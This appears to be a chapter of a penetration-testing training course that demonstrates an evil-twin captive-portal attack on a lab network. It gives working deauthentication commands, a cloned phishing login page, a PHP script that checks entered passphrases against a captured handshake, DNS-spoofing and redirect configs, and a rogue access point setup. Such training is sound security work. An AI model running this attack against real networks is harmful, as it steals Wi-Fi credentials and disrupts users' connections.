10. Attacking Captive Portals
Captive portals1 are often set up on unencrypted or open networks to allow guests or employees to easily connect to the network or Internet, sometimes without credentials.
Using a captive portal is relatively straightforward. A user connects to a particular network without having to enter any credentials. Once connected, the OS or browser will often detect there is a captive portal and automatically open a browser to log in. The welcome page sometimes contains rules and conditions or a login/password prompt.
Although a WPA Enterprise network would be a more secure option, it is more complicated to set up and administer. Provisioning devices is also more secure, but it is also more complex. Some businesses may choose to use a captive portal in order to avoid potential confusion or frustration on the part of the guests or customers, as the web page log-in mechanism is relatively familiar.
In this module, we will learn how to mount attacks against existing captive portals by creating our own, hoping to trick clients into disclosing their credentials.
1 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Captive_portal ↩︎
10.1. Basic Functionality
The majority of modern operating systems and browsers (on computers and mobile) perform Internet connectivity tests automatically. This helps users who need to know if there is an Internet connection available or if there is an issue with an existing connection.
Detecting a captive portal is part of this test,1 and there is a subtle difference between Internet connectivity and a captive portal.
The actual setup is slightly different from one implementation to the next. In general, the OS or browser will try to resolve a URL, or set of URLs, and expect to receive a response from the server. This response could come, for example, in the form of an HTTP 204 response or even just the response "success". If the DNS resolution works, but getting access to a specific URL fails, it will prompt a captive portal, which includes a login screen.
1 (Ross Butler, 2018), https://medium.com/@rwbutler/solving-the-captive-portal-problem-on-ios-9a53ba2b381e ↩︎
10.2. The Captive Portal Attack
In this section we will describe a possible captive portal attack. We will split it in a few phases.
First, we will need to learn about the target AP. This includes the channel, encryption, clients, etc. While not absolutely necessary, if the network is WPA-PSK or WPA2-PSK, we should capture a handshake as well.
Second, we will need to prepare a captive portal. If the target network contains an existing portal, we can usually copy it, but will need to make sure we have all the resources locally. If there is no existing portal, as will be the case in the example we explore, we will create a convincing one. In the latter case, and if the network is PSK, we could even verify the handshake we got earlier with the provided credentials.
Finally, we will configure and create our rogue AP and run any necessary tools to help clients discover the captive portal, or try to force them to connect to us, which should allow us to capture user credentials.
Note that when this happens, the credentials will be sent in clear text. We need to be careful in this situation, and always consider the possibility that someone is eavesdropping on the traffic. To that end, Opportunistic Wireless Encryption (OWE), also sometimes called Enhanced Open, can encrypt the connection without requiring a passphrase. This would ensure that credentials sent to us are safe from interception, and while not all devices support it, most modern operating systems do.
10.2.1. Discovery
We will begin by gathering information about our target. We need to run sudo airmon-ng check kill to kill any process that might interfere with our wireless card. Once that is done, we'll run sudo airmon-ng start wlan0 to start in monitor mode.
Next, we can use our new interface (wlan0mon) with airodump-ng to capture information about the clients and APs around us. We'll use -w to set the dump file prefix and --output-format to set the output format to be a pcap.
kali@kali:~$ sudo airodump-ng -w discovery --output-format pcap wlan0mon
CH 12 ][ Elapsed: 0 s ][ 2020-09-14 16:23
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0E:08:FA:47:CD -51 3 2 0 6 195 WPA2 CCMP MGT MegaCorp One
00:0E:08:75:69:78 -70 2 0 0 1 130 OPN MegaCorp One Guest
00:0E:08:90:3A:5F -75 3 0 0 11 130 WPA2 CCMP PSK MegaCorp One Lab
BSSID STATION PWR Rate Lost Frames Notes Probes
00:0E:08:90:3A:5F E6:D9:CA:FE:B2:3C -45 0 - 0e 0 2
00:0E:08:90:3A:5F 05:E3:5C:E6:D9:A3 -68 0e-54 0 2
00:0E:08:90:3A:5F E6:EE:C0:FF:EE:84 -81 0 - 5e 487 6
00:0E:08:FA:47:CD 98:D5:96:6D:25:78 -37 0 - 1e 0 2
(not associated) A7:AD:4B:2B:5E:EF -54 0 - 1 3 9 Yugoslavia
00:0E:08:75:69:78 FE:5C:BE:EF:D4:3F -48 0 - 6 0 1
Listing 1 - Discovery via Airodump-ng
The output is sent to the terminal, but it is also saved in discovery-01.cap.
We will be targeting "MegaCorp One Lab", which is a WPA-PSK network on channel 11 with three clients. It doesn't matter much if it's WPA1 or WPA2, since we will be using an open network on the same channel to trick clients into connecting to us.
We will need to intercept a handshake from one of the clients. To do so, we can either wait for one to connect or reconnect, or we can use aireplay-ng to deauthenticate clients. This will force them to reconnect and should allow us to capture the handshake.
kali@kali:~$ sudo aireplay-ng -0 0 -a 00:0E:08:90:3A:5F wlan0mon
16:24:14 Waiting for beacon frame (BSSID: 00:0E:08:90:3A:5F) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
16:24:14 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:15 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:15 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:16 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:16 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:17 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:17 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:18 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:18 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:19 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
...
Listing 2 - Deauthenticating Clients
Shortly after this, airmon-ng captures a "MegaCorp One Lab" handshake which is now saved in our discovery-01.cap file.
CH 12 ][ Elapsed: 0 s ][ 2020-09-14 16:23 ][WPA handshake: 00:0E:08:90:3A:5F ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0E:08:FA:47:CD -51 9 2 0 6 205 WPA2 CCMP MGT MegaCorp One
00:0E:08:75:69:78 -70 7 0 0 1 178 OPN MegaCorp One Guest
00:0E:08:90:3A:5F -75 12 0 0 11 225 WPA2 CCMP PSK MegaCorp One Lab
...
Listing 3 - Discovery via Airodump-ng
This will be important to use later on in our attack.
10.2.2. Building the Captive Portal
In this scenario, our target does not have an existing captive portal, so our next step will be to create one that appears to be authentic. In order to avoid suspicion, we'll want to use branding and images that will be recognizable and familiar to users. We'll also use PHP scripts to save credentials that a user enters, and then we'll redirect the user to a success or failure page.
To install Apache and PHP, we'll use apt as follows:
Listing 4 - Installing Apache and PHP
Since we are targeting an encrypted network instead of an existing captive portal, we will be creating the portal from scratch, using their website (https://www.megacorpone.com/) as a base for the design.
Figure 1: MegaCorp One website
Let's download the index page, along with all its resources, using wget.1 We will be using recursive mode with -r, and two levels deep, with -l2, as the background picture is referenced in a CSS, which is itself referenced in the index page.
kali@kali:~$ wget -r -l2 https://www.megacorpone.com
--2020-09-10 20:00:24-- https://www.megacorpone.com/
Resolving www.megacorpone.com (www.megacorpone.com)... 3.220.87.155
Connecting to www.megacorpone.com (www.megacorpone.com)|3.220.87.155|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14603 (14K) [text/html]
Saving to: ‘www.megacorpone.com/index.html’
www.megacorpone.com/index.html 100%[=======================================================================================================================================>] 14.26K 54.1KB/s in 0.3s
2020-09-10 20:00:25 (54.1 KB/s) - ‘www.megacorpone.com/index.html’ saved [14603/14603]
...
Listing 5 - Downloading MegaCorp One index page and its resources
Although wget downloads files in the current directory, in this case, it created a directory named after the domain we are recursively downloading resources from, www.megacorpone.com.
Let's create our captive portal login page, called index.php in /var/www/html/portal. Our design will be relatively simple. We will use the top line with the name of the company, followed by the background image, and a password field. We'll also include a "Connect" button.
<!DOCTYPE html>
<html lang="en">
<head>
<link href="assets/css/style.css" rel="stylesheet">
<title>MegaCorp One - Nanotechnology Is the Future</title>
</head>
<body style="background-color:#000000;">
<div class="navbar navbar-default navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" style="font-family: 'Raleway', sans-serif;font-weight: 900;" href="index.php">MegaCorp One</a>
</div>
</div>
</div>
<div id="headerwrap" class="old-bd">
<div class="row centered">
<div class="col-lg-8 col-lg-offset-2">
<?php
if (isset($_GET["success"])) {
echo '<h3>Login successful</h3>';
echo '<h3>You may close this page</h3>';
} else {
if (isset($_GET["failure"])) {
echo '<h3>Invalid network key, try again</h3><br/><br/>';
}
?>
<h3>Enter network key</h3><br/><br/>
<form action="login_check.php" method="post">
<input type="password" id="passphrase" name="passphrase"><br/><br/>
<input type="submit" value="Connect"/>
</form>
<?php
}
?>
</div>
<div class="col-lg-4 col-lg-offset-4 himg ">
<i class="fa fa-cog" aria-hidden="true"></i>
</div>
</div>
</div>
</body>
</html>
Listing 6 - Captive Portal login page
In addition to being a login page, the PHP code will also indicate if the credentials are successful or incorrect. The latter will add a message above the credentials text box to indicate failure. The former will hide the text box.
We will also need to copy two directories, assets and old-site, into /var/www/html/portal since they contain the CSS and the background image.
kali@kali:~$ sudo cp -r ./www.megacorpone.com/assets/ /var/www/html/portal/
kali@kali:~$ sudo cp -r ./www.megacorpone.com/old-site/ /var/www/html/portal/
Listing 7 - Copy assets and old-site directories
The login page form goes to login_check.php, which we will use to verify the credentials by cracking the handshake.
<?php
# Path of the handshake PCAP
$handshake_path = '/home/kali/discovery-01.cap';
# ESSID
$essid = 'MegaCorp One Lab';
# Path where a successful passphrase will be written
# Apache2's user must have write permissions
# For anything under /tmp, it's actually under a subdirectory
# in /tmp due to Systemd PrivateTmp feature:
# /tmp/systemd-private-$(uuid)-${service_name}-${hash}/$success_path
# See https://www.freedesktop.org/software/systemd/man/systemd.exec.html
$success_path = '/tmp/passphrase.txt';
# Passphrase entered by the user
$passphrase = $_POST['passphrase'];
# Make sure passphrase exists and
# is within passphrase lenght limits (8-63 chars)
if (!isset($_POST['passphrase']) || strlen($passphrase) < 8 || strlen($passphrase) > 63) {
header('Location: index.php?failure');
die();
}
# Check if the correct passphrase has been found already ...
$correct_pass = file_get_contents($success_path);
if ($correct_pass !== FALSE) {
# .. and if it matches the current one,
# then redirect the client accordingly
if ($correct_pass == $passphrase) {
header('Location: index.php?success');
} else {
header('Location: index.php?failure');
}
die();
}
# Add passphrase to wordlist ...
$wordlist_path = tempnam('/tmp', 'wordlist');
$wordlist_file = fopen($wordlist_path, "w");
fwrite($wordlist_file, $passphrase);
fclose($wordlist_file);
# ... then crack the PCAP with it to see if it matches
# If ESSID contains single quotes, they need escaping
exec("aircrack-ng -e '". str_replace('\'', '\\\'', $essid) ."'" .
" -w " . $wordlist_path . " " . $handshake_path, $output, $retval);
$key_found = FALSE;
# If the exit value is 0, aircrack-ng successfully ran
# We'll now have to inspect output and search for
# "KEY FOUND" to confirm the passphrase was correct
if ($retval == 0) {
foreach($output as $line) {
if (strpos($line, "KEY FOUND") !== FALSE) {
$key_found = TRUE;
break;
}
}
}
if ($key_found) {
# Save the passphrase and redirect the user to the success page
@rename($wordlist_path, $success_path);
header('Location: index.php?success');
} else {
# Delete temporary file and redirect user back to login page
@unlink($wordlist_file);
header('Location: index.php?failure');
}
?>
Listing 8 - Captive Portal login check page
Although our login check script may look intimidating at first, it is rather simple. First it checks whether the supplied password has already been stored as a valid password in /tmp/passphrase.txt=. If that is the case, we simply return a SUCCESS value to the login page. If the password is not found in that file, we write it to a wordlist file, which is then passed to the aircrack-ng command along with our previously captured handshake file. We then run this command and parse its output to determine if the provided password is valid or not.
As an alternative to using an existing handshake, we can also use a second wireless card with wpa_supplicant to connect to the real AP. We would then use this to verify the credentials instead of cracking the handshake. If both target SSID and our rogue SSID match, we need to blacklist our BSSID in wpa_supplicant using "bssid_blacklist" so it doesn't try to connect back to us.
1 (Hrvoje Nikšić, Giuseppe Scrivano, Tim Rühsen, Darshit Shah, 2020), https://www.gnu.org/software/wget/ ↩︎
10.2.3. Networking Setup
In order for this attack to work, we will need to do a bit of configuration.
We will first assign an IP address to our wlan0 interface. We'll use 192.168.87.1 with a network mask of 255.255.255.0. The IP we use doesn't matter because once the user's system detects that it can't reach the Internet, it will automatically open the IP address of the router in the browser, which is also the host of the captive portal.
kali@kali:~$ sudo ip addr add 192.168.87.1/24 dev wlan0
kali@kali:~$ sudo ip link set wlan0 up
Listing 9 - wlan0 IP address configuration
We will have clients connecting to us, and in order for them to reach our captive portal, they need an IP configuration. Thankfully, the first thing the user will do is request a Dynamic Host Configuration Protocol (DHCP)1 lease. We will provide that using dnsmasq,2 a small DNS/DHCP server. We can install dnsmasq with apt.
Listing 10 - Installing dnsmasq
We will use the following mco-dnsmasq.conf configuration file for DHCP.
# Main options
# http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html
domain-needed
bogus-priv
no-resolv
filterwin2k
expand-hosts
domain=localdomain
local=/localdomain/
# Only listen on this address. When specifying an
# interface, it also listens on localhost.
# We don't want to interrupt any local resolution
# since the DNS responses will be spoofed
listen-address=192.168.87.1
# DHCP range
dhcp-range=192.168.87.100,192.168.87.199,12h
dhcp-lease-max=100
Listing 11 - dnsmasq configuration
We also need to do DNS spoofing3 so that the response for most DNS requests will point back to us with the exception of rare cases. We'll use dnsmasq again. To do this, we will append the following to the configuration file we just created.
# This should cover most queries
# We can add 'log-queries' to log DNS queries
address=/com/192.168.87.1
address=/org/192.168.87.1
address=/net/192.168.87.1
# Entries for Windows 7 and 10 captive portal detection
address=/dns.msftncsi.com/131.107.255.255
Listing 12 - Addition to dnsmasq for DNS spoofing
Although we are only spoofing a few generic top-level domains (gTLD), .com, .net, and .org, this should cover most of the website domains a connected user will attempt to access.
For Windows, we have to resolve dns.msftncsi.com to a specific IP address that Windows knows the result of. This will help Windows detect the captive portal.
Warning
When the EnableActiveProbing registry key in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet is set to "0", it will disable the check. If this happens, Windows will not detect our captive portal and the user won't be able to login.
Now that the configuration file is complete, let's start dnsmasq with --conf-file followed by the path of our configuration file.
Listing 13 - Starting dnsmasq
After startup, dnsmasq will create a file containing its process ID in /var/run/dnsmasq.pid. This will let us find and kill the process when we are done. We can inspect syslog4 to confirm it started successfully.
kali@kali:~$ sudo tail /var/log/syslog | grep dnsmasq
Sep 15 19:03:50 kali dnsmasq[18135]: started, version 2.82 cachesize 150
Sep 15 19:03:50 kali dnsmasq[18135]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dumpfile
Sep 15 19:03:50 kali dnsmasq-dhcp[18135]: DHCP, IP range 192.168.87.100 -- 192.168.87.199, lease time 12h
...
Listing 14 - Checking for dnsmasq in syslog
Using netstat, we can confirm it is listening on port 53 (TCP/UDP) for DNS, and on 67 (UDP) for DHCP.
kali@kali:~$ sudo netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN 18135/dnsmasq
tcp6 0 0 :::53 :::* LISTEN 18135/dnsmasq
udp 0 0 0.0.0.0:53 0.0.0.0:* 18135/dnsmasq
udp 0 0 0.0.0.0:67 0.0.0.0:* 18135/dnsmasq
udp6 0 0 :::53 :::* 18135/dnsmasq
...
Listing 15 - Checking netstat for listening ports
Although port 67 (UDP) is open, it is listening on 0.0.0.0 (all IP addresses), even though we specifically configured it to listen on a specific IP in Listing 11 with the listen-address parameter. This appears to be a bug.
DHCP is a broadcast protocol, and clients send broadcast frames to get any potential listening DHCP server to give them a lease. For that reason, dnsmasq isn't listening on a specific IP address but a broadcast address. Although it is listening on 0.0.0.0, it will only listen to broadcast traffic on the interface we specified. Note that netstat won't display that information. The same goes for DNS (port 53 TCP/UDP).
Sometimes clients ignore DNS settings provided in the DHCP lease, and we will use an nftables5 rule to force redirect all DNS requests (UDP to port 53 only--TCP port 53 is for zone transfer6) back to our server.
To do this, we need to install nftables and then add the rules.
kali@kali:~$ sudo apt install nftables
kali@kali:~$ sudo nft add table ip nat
kali@kali:~$ sudo nft 'add chain nat PREROUTING { type nat hook prerouting priority dstnat; policy accept; }'
kali@kali:~$ sudo nft add rule ip nat PREROUTING iifname "wlan0" udp dport 53 counter redirect to :53
Listing 16 - nftables rules to redirect DNS to us
In Apache's site configuration, we need to add mod_rewrite7 and mod_alias7:1 rules so that the captive portal is set properly. We'll add the following lines in /etc/apache2/sites-enabled/000-default.conf before the VirtualHost closing tag.
...
# Apple
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
RewriteCond %{HTTP_HOST} !^192.168.87.1$
RewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L,R=302]
# Android
RedirectMatch 302 /generate_204 http://192.168.87.1/portal/index.php
# Windows 7 and 10
RedirectMatch 302 /ncsi.txt http://192.168.87.1/portal/index.php
RedirectMatch 302 /connecttest.txt http://192.168.87.1/portal/index.php
# Catch-all rule to redirect other possible attempts
RewriteCond %{REQUEST_URI} !^/portal/ [NC]
RewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L]
</VirtualHost>
Listing 17 - mod_rewrite and mod_alias rules for captive portal detection
These additions will require two modules to be enabled. For the first four and the last three instructions, we need the redirect module. For the two "RedirectMatch" additions in-between, we need the alias module.
Let's enable them using a2enmod.
kali@kali:~$ sudo a2enmod rewrite
Enabling module rewrite.
To activate the new configuration, you need to run:
systemctl restart apache2
kali@kali:~$ sudo a2enmod alias
Module alias already enabled
Listing 18 - enabling mod_rewrite
Apache has a number of small utilities that allow us to enable and disable modules. We could manually create and delete symlinks in specific directories, but these utilities have auto-completion for the respective items they are dealing with.
The naming convention of the utilities makes them relatively easy to read. Each one starts with "a2", which stands for Apache2. It is followed by "en" or "dis", to indicate enabled and disabled. The last part indicates what is to be enabled or disabled, and it can be "mod", "site", or "conf", which stand for module, site, or configuration, respectively. For example, if we wanted to disable a module, we would be using a2dismod.
Let's start (or restart) Apache using systemctl restart apache2 and then make sure the portal is correctly displayed locally by pointing a browser to 127.0.0.1.
Special Case for Chrome
Chrome doesn't automatically check for captive portals on startup like Firefox. Typing a URL will trigger the captive portal, but with the above configuration, a search will fail. This may be because Chrome encodes the search and automatically prepends the search URL, which is HTTPS. With just HTTP in our Apache configuration, we will fail to connect to the website because the port isn't listening.
We can remedy this special case by making a HTTPS section in Apache. Note that doing so will break Firefox (and possibly other OS/software) if the victim clicks on the prompt to guide them to the captive portal. This is because of the self-signed certificate. It should work when the OS opens Firefox to log in. For these reasons, we only recommended this approach in an environment where only Chrome is used.
To do this, we will need to duplicate the whole VirtualHost section in the same site file, /etc/apache2/sites-enabled/000-default.conf. We will change port 80 to 443 in the VirtualHost tag, the instances of http to https in the RewriteRule and RedirectMatch statements, and finally we will add a SSL certificate.
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# Apple
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
RewriteCond %{HTTP_HOST} !^192.168.87.1$
RewriteRule ^(.*)$ https://192.168.87.1/portal/index.php [L,R=302]
# Android
RedirectMatch 302 /generate_204 https://192.168.87.1/portal/index.php
# Windows 7 and 10
RedirectMatch 302 /ncsi.txt https://192.168.87.1/portal/index.php
RedirectMatch 302 /connecttest.txt https://192.168.87.1/portal/index.php
# Catch-all rule to redirect other possible attempts
RewriteCond %{REQUEST_URI} !^/portal/ [NC]
RewriteRule ^(.*)$ https://192.168.87.1/portal/index.php [L]
# Use existing snakeoil certificates
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
</VirtualHost>
Listing 19 - VirtualHost section for HTTPS
Although we could generate our own certificates, we'll use the already generated snakeoil certificate.8
Warning
The snakeoil certificates are created when the ssl-cert package gets installed. They shouldn't be deleted. If necessary, they can be regenerated by running "make-ssl-cert generate-default-snakeoil --force-overwrite".
Afterward, we have to enable the ssl module with a2enmod and restart Apache.
kali@kali:~$ sudo a2enmod ssl
Enabling module ssl.
To activate the new configuration, you need to run:
systemctl restart apache2
kali@kali:~$ sudo systemctl restart apache2
Listing 20 - enabling mod_ssl and restart Apache
1 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol ↩︎
2 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dnsmasq ↩︎
3 (Wikipedia, 2020), https://en.wikipedia.org/wiki/DNS_spoofing ↩︎
4 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Syslog ↩︎
5 (nftables, 2020), https://wiki.nftables.org/wiki-nftables/index.php/Main_Page ↩︎
6 (Wikipedia, 2020), https://en.wikipedia.org/wiki/DNS_zone_transfer ↩︎
7 (The Apache Software Foundation, 2020), http://httpd.apache.org/docs/current/mod/mod_rewrite.html ↩︎ ↩︎
8 (Debian, 2018), https://askubuntu.com/questions/396120/what-is-the-purpose-of-the-ssl-cert-snakeoil-key ↩︎
10.2.4. Setting Up and Running the Rogue AP
The last item on our list is the rogue AP configuration file. We will be using hostapd1 to run the AP. We can install it with sudo apt install hostapd.
We will be creating a 802.11n AP with the exact same SSID and channel as the AP we are targeting, but we won't be using any encryption.
interface=wlan0
ssid=MegaCorp One Lab
channel=11
# 802.11n
hw_mode=g
ieee80211n=1
# Uncomment the following lines to use OWE instead of an open network
#wpa=2
#ieee80211w=2
#wpa_key_mgmt=OWE
#rsn_pairwise=CCMP
Listing 21 - Rogue AP hostapd configuration
Now that we have put all the pieces together, let's run hostapd and get some credentials.
We will run hostapd in the background, with -B, as it also logs in syslog.
kali@kali:~$ sudo hostapd -B mco-hostapd.conf
Configuration file: mco-hostapd.conf
nl80211: kernel reports: expected nested data
Using interface wlan0 with hwaddr 0e:31:8d:35:ea:08 and ssid "MegaCorp One Lab"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
Listing 22 - Running hostapd
As a side note, let's remember that stopping hostapd will disable the interfaces, which results in the interface losing its IP configuration. We will need to set the IP, either before or after starting hostapd. It should be done before any client connects or the DHCP will not work.
Let's open two terminal windows to inspect the logs and check connections. The first one will show us hostapd and udhcpd logs.
We will stand by and keep watching for new logs using tail -f. The second part of the command, after the pipe, will only show us logs from udhcpd and hostapd.
kali@kali:~$ sudo tail -f /var/log/syslog | grep -E '(dnsmasq|hostapd)'
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d IEEE 802.11: authenticated
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d IEEE 802.11: associated (aid 1)
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d RADIUS: starting accounting session 8C7098041457CA7F
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPDISCOVER(wlan0) 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPOFFER(wlan0) 192.168.87.118 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPREQUEST(wlan0) 192.168.87.118 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPACK(wlan0) 192.168.87.118 00:c4:98:12:65:1d android-8e6f8d2da38952aa
...
Listing 23 - Logs from hostapd and dnsmasq
We find a station with the MAC 00:c4:98:12:65:1d associated, and we received an IP address of 192.168.87.118 from dnsmasq.
In the second terminal, we will monitor incoming Apache logs.
kali@kali:~$ sudo tail -f /var/log/apache2/access.log
192.168.87.118 - - [25/Aug/2020:15:49:22 -0400] "GET /generate_204 HTTP/1.1" 302 568 "-" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:23 -0400] "GET /portal/index.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:56 -0400] "POST /portal/login_check.php HTTP/1.1" 302 235 "http://192.168.87.1/portal/index.php" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:57 -0400] "GET /portal/index.php?success HTTP/1.1" 200 413 "http://192.168.87.1/portal/index.php" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
Listing 24 - Logs from hostapd and udhcpd
On the last line, we find that a device was redirected back to the index page, and that it gave the correct passphrase.
We can now look in the /tmp directory, find our passphrase.txt, and display its content.
kali@kali:~$ sudo find /tmp/ -iname passphrase.txt
/tmp/systemd-private-0a505bfcaf7d4db699274121e3ce3849-apache2.service-lIP3ds/tmp/passphrase.txt
kali@kali:~$ sudo cat /tmp/systemd-private-0a505bfcaf7d4db699274121e3ce3849-apache2.service-lIP3ds/tmp/passphrase.txt
NanotechIsTheFuture
Listing 25 - Finding and displaying the passphrase
1 (Jouni Malinen and contributors, 2019), https://w1.fi/hostapd/ ↩︎
10.3. Additional Behaviors Surrounding Captive Portals
Although recent operating systems detect captive portals, the feature can sometimes be disabled in their settings. When they are started manually, browsers should detect and redirect to the captive portal, but again, this feature can be disabled as well. All of this is true for smartphones too.
There are a few different unusual behaviors to be aware of.
For example, Windows will not show the captive portal after automatically connecting to the network. In this situation the user has manually to go into the network list dialog again, select our network, and click Connect for it to work.
In addition, Chrome doesn't automatically check for captive portals upon startup. It only detects them when manually typing a URL or doing a search.
Exercise
Set up a captive portal to target your home or office (with the approval of your supervisor and IT). Try with an open network and OWE, and if you have a separate wireless card, do a packet capture and examine the difference between open and OWE.
If no clients connect, use one of your own devices to connect.
10.4. Wrapping Up
In this module, we gathered a WPS-PSK handshake, created a convincing captive portal based on the company website, and used a rogue access point to trick clients into connecting to us and revealing the passphrase of the network.
